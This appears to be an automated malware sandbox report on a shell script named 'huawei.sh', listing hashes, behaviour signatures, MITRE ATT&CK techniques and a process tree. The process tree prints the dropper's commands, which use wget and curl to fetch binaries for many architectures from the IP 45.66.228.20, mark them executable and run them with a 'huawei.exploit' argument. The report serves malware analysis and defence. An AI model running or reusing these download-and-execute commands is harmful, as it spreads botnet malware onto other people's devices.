1f8579e3ce189249a65c0200ddb7018a85b0201366601bf3c73fd2b2beea59c4

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 10:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
huawei.sh
Size 2KB
Sample261027-mgql3adc34
SHA256 1f8579e3ce189249a65c0200ddb7018a85b0201366601bf3c73fd2b2beea59c4
MD5 595674be8b007f86765a564bd0825c28
SHA1 958fa831ea4f5188b6773a5ba3e34ed48f232308
SHA512 31e65b25333ec554f70a0bcfa890db0f4bededf664cb30342aac295706345ae5d2ab0b42f45e805de86308449e4b6be997fce6e3058611e3cd39d9cb2d65d8fb
TLSH
T1375151C50373CA387A69FC4F3DE79714B580A5915CC2AA98B6EC79EC05CFE29684C147
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
755	chmod
765	chmod
669	chmod
677	chmod
692	chmod
709	chmod
725	chmod
749	chmod
760	chmod
789	chmod
681	chmod
685	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/ssh-updater	671	huawei.sh
/tmp/ssh-updater	678	huawei.sh
/tmp/ssh-updater	682	huawei.sh
/tmp/ssh-updater	686	huawei.sh
/tmp/ssh-updater	694	huawei.sh
/tmp/ssh-updater	711	huawei.sh
/tmp/ssh-updater	727	huawei.sh
/tmp/ssh-updater	750	huawei.sh
/tmp/ssh-updater	756	huawei.sh
/tmp/ssh-updater	761	huawei.sh
/tmp/ssh-updater	766	huawei.sh
/tmp/ssh-updater	791	huawei.sh

Traces itself 4 IoCs

Traces itself to prevent debugging attempts

pid	Process
671	ssh-updater
678	ssh-updater
682	ssh-updater
686	ssh-updater

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx
behavioral2/files/fstream-6.dat	upx

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/exe	ssh-updater
File opened for reading	/proc/self/status	ssh-updater
File opened for reading	/proc/self/exe	ssh-updater

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
724	cat
713	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mewww.mips	wget
File opened for modification	/tmp/mewww.mpsl	wget
File opened for modification	/tmp/mewww.sh4	wget
File opened for modification	/tmp/mewww.arc	curl
File opened for modification	/tmp/mewww.arm	wget
File opened for modification	/tmp/mewww.arm5	wget
File opened for modification	/tmp/mewww.arm6	wget
File opened for modification	/tmp/mewww.arm7	wget
File opened for modification	/tmp/mewww.x86	wget
File opened for modification	/tmp/mewww.ppc	wget
File opened for modification	/tmp/mewww.m68k	wget
File opened for modification	/tmp/mewww.arc	wget
File opened for modification	/tmp/ssh-updater	huawei.sh
File opened for modification	/tmp/mewww.x86_64	wget

/tmp/huawei.sh
/tmp/huawei.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:644
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm -O mewww.arm
  2⤵
  - Writes file to tmp directory
  PID:649
- /bin/cat
  cat mewww.arm
  2⤵
  PID:667
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:669
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:671
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm5 -O mewww.arm5
  2⤵
  - Writes file to tmp directory
  PID:673
- /bin/cat
  cat mewww.arm5
  2⤵
  PID:676
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:678
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm6 -O mewww.arm6
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/cat
  cat mewww.arm6
  2⤵
  PID:680
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:682
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arm7 -O mewww.arm7
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/cat
  cat mewww.arm7
  2⤵
  PID:684
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  - Traces itself
  - Reads runtime system information
  PID:686
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86 -O mewww.x86
  2⤵
  - Writes file to tmp directory
  PID:687
- /bin/cat
  cat mewww.x86
  2⤵
  PID:690
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:694
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.x86_64 -O mewww.x86_64
  2⤵
  - Writes file to tmp directory
  PID:696
- /bin/cat
  cat mewww.x86_64
  2⤵
  PID:707
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:711
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mips -O mewww.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:713
- /bin/cat
  cat mewww.mips
  2⤵
  - System Network Configuration Discovery
  PID:724
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:727
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.mpsl -O mewww.mpsl
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/cat
  cat mewww.mpsl
  2⤵
  PID:747
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:750
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.ppc -O mewww.ppc
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat mewww.ppc
  2⤵
  PID:754
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:756
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.m68k -O mewww.m68k
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/cat
  cat mewww.m68k
  2⤵
  PID:759
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:761
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.sh4 -O mewww.sh4
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/cat
  cat mewww.sh4
  2⤵
  PID:764
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:766
- /usr/bin/wget
  wget http://45.66.228.20/bins/mewww.arc -O mewww.arc
  2⤵
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -o mewww.arc http://45.66.228.20/bins/mewww.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/cat
  cat mewww.arc
  2⤵
  PID:787
- /bin/chmod
  chmod +x ssh-updater
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/ssh-updater
  ./ssh-updater huawei.exploit
  2⤵
  PID:791

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mewww.arm

Path /tmp/mewww.arm
Size 77KB
SHA256 e46dfe295c900777bd3a9da5ca9d96421ef5dd230bca7e764154c87318fd4720
MD5 f5166fac7bed1ea81796ccd223a1ceb2
SHA1 ff4682a57a1f7ffc9f3a164267dd3bbbe3d54135
SHA512 2cf3f92c0bd57f3ea5dbee6fc9fa738e4caab06356fdf755f7cfe1c2044ccd609d24b9eacb1902ac4c6462ac96af23e4633785de1954c8195023a2831be473a8
SSDEEP 1536:rk5mPBwBjc8PIGDV7qSjfZWo+jLNAk4rFj0rkCDP5Owft:jZwabepzRX+jexrdaP9F
TLSH
T1B7730268AA1E94EDD813993D250F46917CAE4A9DDF93783260A1F6C9AFD0FC71B60103
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 76KB
SHA256 06044efe3f19c9e3635689c7d817deb6ba4f7ad390fa742d8be17148a59dfa9b
MD5 0fe6e3276d9ce596cb9d4f110d73a4c1
SHA1 22f5d1a86db2ffd671fd90a4fecdfa0824a9a9e1
SHA512 896641aadb48c56434095098d5875b87faec606b4705161d5d31e1fa2ebc5709d419a0a9f140c2ddeeba91c1e5a83961a9e5d08ba03bfaf0a8743fe7288c7a20
SSDEEP 1536:r/j3B5/bw34cpR0i88W2VXYUB5fP8pD18IRf318wJAUMxhCxDMqCKwmNifRf+:Djx5/bwoc7X5WjUX8lKI9qJUih4DMqak
TLSH
T1777301C11857BA85C53E143BF97A8096F955BFB4CDB87F28790C8404DE80AB737B8A48
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ssh-updater

Path /tmp/ssh-updater
Size 180KB
SHA256 48356530c9442e55c83b39e862189dbb675a608b27400c0b161f934c3519a9cd
MD5 2d83c5955c92cb01a8462d6bc346da66
SHA1 76211410d974f30443e5b9428447d51eb9bb6334
SHA512 321d0dadbbaa45af626573d088a93e92fbf163ae7a1ccbe3e70aab1cbb6316d0525c3cacf7768d753f0d9a2161a6e5d0f938525be84cf6316de66743a9d75192
SSDEEP 3072:xMrNSmyyYWgaaI+FKv1f9mKx82c9t7VmiBkA4qPAZVv0Phg/q6i9IHNOP:xcgmlLT91fMO85RVmEJg/QVP
TLSH
T17104AE60B015ADEBC51209B20024D4B507417DA053E3A2E5F49EF7EE4FA7ED1BEAD6B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads